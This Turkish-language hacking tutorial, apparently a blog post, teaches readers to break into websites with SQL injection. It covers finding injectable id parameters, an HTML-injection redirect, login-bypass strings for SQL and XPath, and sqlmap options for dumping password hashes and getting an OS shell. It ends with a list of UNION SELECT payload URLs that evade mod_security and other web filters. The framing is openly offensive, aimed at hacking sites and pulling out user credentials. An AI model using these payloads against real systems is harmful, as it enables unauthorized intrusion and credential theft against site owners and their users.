SQL İnjection FULL //

1-) Site Üzerinde “id” Değeri Bulma
2-) Manuel SQL İnj
3-) HTML İnj
4-) Blind SQL İnj
5-) Post SQL İnj
6-) Login Bypass (Access)
7-) SQLMap Kullanarak SQL İnj
😎 XPath SQL İnj
9-)Wordpress SQL İnj
10-)Bypass Yöntemleri (Mod_Security,Forbidden vs )

 

SQL İnj Nedir ? Nasıl Oluşur ? 

SQL Injection Sitenin Kullanıcıdan Gelen Girdiyi Kontrol Etmeden SQL(veritabanı) Girdisi Olarak Kabul Etmesinden Dolayıdır.
Neden ’ Tırnak İşareti Koyup Hata Alırız ?
Çünkü SQL de Komut Çalıştırmak İçin Tırnak İşareti Arasına Yazarız.

1-) Hedef Sitede id Değeri Bulma :

Örnek Olarak Hedef Site Üzerinde ” id ” Değeri :

Hedef Site Üzerinde İd Değerimizi Bu Şekilde Bulup SQL İnj Hatasını Aldıktan Sonra Saldırımızı Gerçekleştirebiliriz.

———————————————————————————————————————

2-) Manuel SQL İnj 

SQL İnj Daha İyi Sonuçlar Almamız İçin Saldırımızı MANUEL Yapmamız Lazım. Manuel Görünüşte Biraz Karışık Görülebilir Ama Öğreneceğimiz 2-3 Tane Komuttur.

https://vimeo.com/95658519

3-) Html İnjection : 

HTML injection , Üyelik Forumlarında Yorum Eklerken Veya Kişiliğiniz İle İlgili Bir “Form” Doldururken HTML Dilinin O Formda Çalıştırılmasından Dolayı Oluşan Bir Açık Türüdür.

HTML Enjeksiyonu ile Neler Yapabiliriz ?

Meta Atabiliriz , Sayfanın Background nu veya Anasayfaya Kayan Yazı Biçiminde Yazılar Ekleyebiliriz. Dolayısıyla Az da Olsa HTML Dilini Bilmeniz Gerekir.

Meta : <meta http-equiv=”refresh” content=”0;URL=http://www.Cyber-warrior.org”>

Mesala Admin Panelinde Shell Upload Edemedik Ama Sayfaları HTML biçiminde Düzenleme Yetkimiz Var Bu Yüzden Anasayfaya Herhangi Bir Yere Bu Kodumuzu Çalıştırıp Hackleyebiliriz.

4-) Blind SQL İnjection 

Blind:Kör Demektir.

SQL İnj Saldırılarında id Değerinin Sonuna ’a Koyduğumuzda Hata Almadığımızda id Değerinin Sonuna AND+1=1 , 1=0 Gibi Sorgulamalar Yaparız Eğer Sorgu Bize Cevap Veriyorsa Sorgu Çalışıp Sayfada Değişiklik Oluyorsa Blind SQL Vardır Demektir.

5-) Post SQL İnjection. 

Post SQL Normal Olarak Çekilemeyen SQL İnjection Saldırılarında Bir Veri , Post (posta) Girerek Veritabanın Çekilmesine Yarar

SQLMAP : https://vimeo.com/98971972

Havij Post SQL : https://vimeo.com/93478918

** Post SQL i Havijle veya SQLMap Modülünü Kullanırken Post Data Bölümüne ’ Tırnak İşareti , %İnject_Here% , ’OR’ ’=’ , ’or’ Gibi İfadeler Bırakıp DB yi Çekebiliriz . * 


6-)Login Bypass 

Admin Login Panelindeki SQL Açığı(Access SQL) ile Login Olabiliriz:

7-) SQLMAP : 

sqlmap Veri Tabanları Üzerinden SQL injection Açığını Otomatik Olarak Bulmaya ve İstismar Etmeye Yarayan Bir Araçtır.

Komutları Şu Şekildedir :

sqlmap –help ile seçenekler görüntülenebilir.

– Target (Hedef) :
Bu seçeneklerden biri, kaynağın hedefe ulaşabilmesi için set edilmelidir.
– u, –url (URL) : Hedefin url adresi
– l LOGFILE : Burp veya Webscraper günlüklerinden hedefi araştır.
– g googledork : Google dork prosesinden dönen urlleri kullan.

– Request (İstek)
Hedef url’e nasıl bağlanacağının belirlenmesi için bu seçenekler kullanılır.
— data = DATA : Veri dizisi POST aracılığı ile gönderilir. (manuel)
— cookie=cookıe : Belirtilen HTTP Cookie başlığı gönder.
— proxy = PROXY: Hedef url e bağlanırken belirtlilen HTTP Proxy’ i kullan.
— auth-type = … : HTTP kimlik doğrulama tipi (Basic, Digest veya NTLM)
— user-agent = … : Belirlilen HTTP User – Agent i kullan

– Injection (Enjeksiyon) :
Bu seçenekler test için hangi parametrelerin seçileceğini belirtir.
– p testparameter : Test edilebilir parametreler gir.
— dbms= DBMS : Belirtilen veri tabanı yönetim sistemi için değerleri kullan.
— os = OS : Belirtilen DBMS işletim sistemi için bu değeri zorla.
— invalid-bignum : Geçersiz değerler için büyük numaraları kullan.

– Detection (Tespit)

Bu seçenekler tespit fazını özelleştirmek için kullanılır.
— level = LEVEL: Test performansının seviyesini belirler. (1-5, default 1)
— risk = RISK : Gerçekleştirilen testin riski (0-3, default 1)
— string STRIN : Sorgu doğru olarak değerlendirildiği zaman stringi eşleştir.
— technique = … : Test için SQL injection tekniği (default “BEUSTQ”)

– Enumeration (Bilgi Dökümü) :
Veri tabanı yönetimi, tabloların içerdiği veri ve yapıları hakkında bilgi
dökümü toplar. Ayrıca hazınladığınız SQL ifadelerini çalıştırabilirsiniz.
– a, -all : Tüm bilgileri al.
– b, –banner : DBMS banner bilgisini al.
— users : DBMS kullanıcı bilgileri al.
— passwords : Kullanıcı şifre haslerini al.
— dbs : DBMS veri tabanlarını bul ve getir.
— dump : Tüm DBMS veri tabanı tablolarının girdilerini getir.

– Operating system access (İşletim Sistemi erişimi)
Bu seçenekler DBMS altından işletim sistemine sızıldığında kullanılır.
— os-shell : İşletim sisteminden shell istemi
— priv-esc : Veri tabanı prosesi için kullanıcı yetki yükseltmesi.

– General (Genel) :

Bu seçenekler bazı genel çalışma parametrelerini ayarlamak için vardır.
— batch : Asla kullanıcı girdisi sorma, varsayılan davranışları kullan.
– b, –banner : DBMS banner bilgisini al.
— update : sqlmap i güncelleştir.
— forms : Hedef url üzerinde uygulanacak test formları ve ayrıştırıcılar.
— save : INI konfigrasyon dosyası için seçenekelri kaydet.
— tor : Tor ağını kullanma.


– Miscellaneous ( Diğer Özellikler )

— dependencies : sqlmap gerekliliklerini kontrol et.
— beep : SQL injwction bulunduktan sonra beep sesi çıkar.
— wizard : Yeni başlayanlar için arayüz sihirbazı.
PS : Tüm bu özellikler sqlmapin çok kullanılan özellikleridir. Tümü için –help.

Örnek Bir SQLMap ile SQL İnj Saldırısı :

Konsola sqlmap yazıp başlatabiliriz.

a-)Komut

b-)Database

Bulunan Databaseler Bu Şekilde Ekrana Gelir:

c-) Database de ki Tabloları Çekmek İçin Kullanılan Komut :

d-) Gelen Tablolar ve Çekilmek İstenen Tablonun Komut Şekili :

e-) Kullanıcı Adı Ve Şifreyi Okumak İçin Kullanılan Komut :

f-)Veriler:

😎 XPATH İnjection:

XPATH İnjection Nedir?

XPath tasarlanmış ve XML ile açıklanan verileri üzerinde çalışmak için geliştirilmiş bir dildir. XPath injection, bir saldırganın bu dili kullanan bir sorguda XPath elemanları enjekte etmesine olanak veriyor. Olası hedefleri Bazı yetkisiz bir şekilde bypass kimlik doğrulaması veya erişim bilgileri bulunmaktadır.
Biz buradaki kodları login yada index sayfasından doğrulama işlemi yaparak çekmeye çalışacağız.
Doğrulamadan kasıt ne olabilir? Diye bir soru geldi varsayalım…
Doğrulama işlemi biz sql injectiondan hatırladığımız gibi login sayfasında enjekte ettiğimiz kodlar
’ or ’1’ = ’1 login sayfasında bu işlemi yaptığımızda onay verecektir 1=1 bu işlem doğru ise sistem onay verecektir.
Bu onay sonunda gelecek bilgi çok önemli eger hata kısmında şöyle bir hata verecek
string(//Employeeuname/text()=’’ or ’1’ = ’1’ and passwd/text()=’’ or ’1’ = ’1’keywords
bu gibi bir hata vermesi gerekir sonda elde ettiğimiz bilgi ile XML dosyasını oluşturacağız.
Peki keywords hangi durumlarda bulunur.?
Eger mantıksal işlem doğru ise keywords bulunur. Doğru değilse bulunmaz.
dosya: http://www.dosya.tc/server29/2eTsqH/emp.rar.html

İlgili Diğer Bir Konu 

10-) WordPress SQL İnj 

WordPress Sistemlerde SQL ile Öğrendiğimiz Kullanıcı Şifreleri Kırılması Çok Zor Olduğundan Dolayı
Login Sayfasında Activasyon Kodu Alarak , Daha Sonra Aynı Şekilde SQL İnj Yöntemiyle Veritabanında ki Aktivasyon Bölümünden Kodumuzu Alıp Login Olabiliriz

11-) Bypass

Forbidden Hatası Aldığımızda Uygulamamız Gereken Yöntemler Şu Şekildedir:

Order By : 
http://www.example.com/index.php?id=1’)+union+select+1,2,3,4,5,6,7

Union Select:

http://www.example.com/index.php?id=1+union+select+1,2,3,4,5,6,7 –> Burda Forbidden Aldık Veya Sayfa Açılmadı Diyelim:

http://www.example.com/index.php?id=1+UNiOn+SeLeCt+1,2,3,4,5,6,7&#8211;

http://www.example.com/index.php?id=1+union+(select+1,2,3,4,5,6,7)–

http://www.example.com/index.php?id=1+/*!union+/*!select*/+1,2,3,4,5,6,7–

Mod_Security Bypass : https://vimeo.com/95661533

http://www.example.com/index.php?id=1+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6,7

http://www.example.com/index.php?id=1+/*!50000union*/+/*!50000select*/+1,2,3,4,/*!50000group_concat*/,6,7+from …..

http://www.example.com/index.php?id=1+/*!50000union*/+/*!50000select*/+1,2,3,4,/*!50000concat*/,6,7+from …..+

http://www.example.com/index.php?id_estacion=-25+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000concat*/(column_name),6,7+from+/*!50000information_schema*/.columns+where+table_schema=database()+and+table_name=tablo adı +limit+13,1 ->> Limit i Arttırarak Diğer Tablo İsimlerini Öğreniriz:

http://www.example.com/index.php?id=1+union+select+1,2,3,4,unhex(hex(group_concat(table_name))),6,7+from+information_schema.tables+where+table_schema=database()

 

 

Leave a comment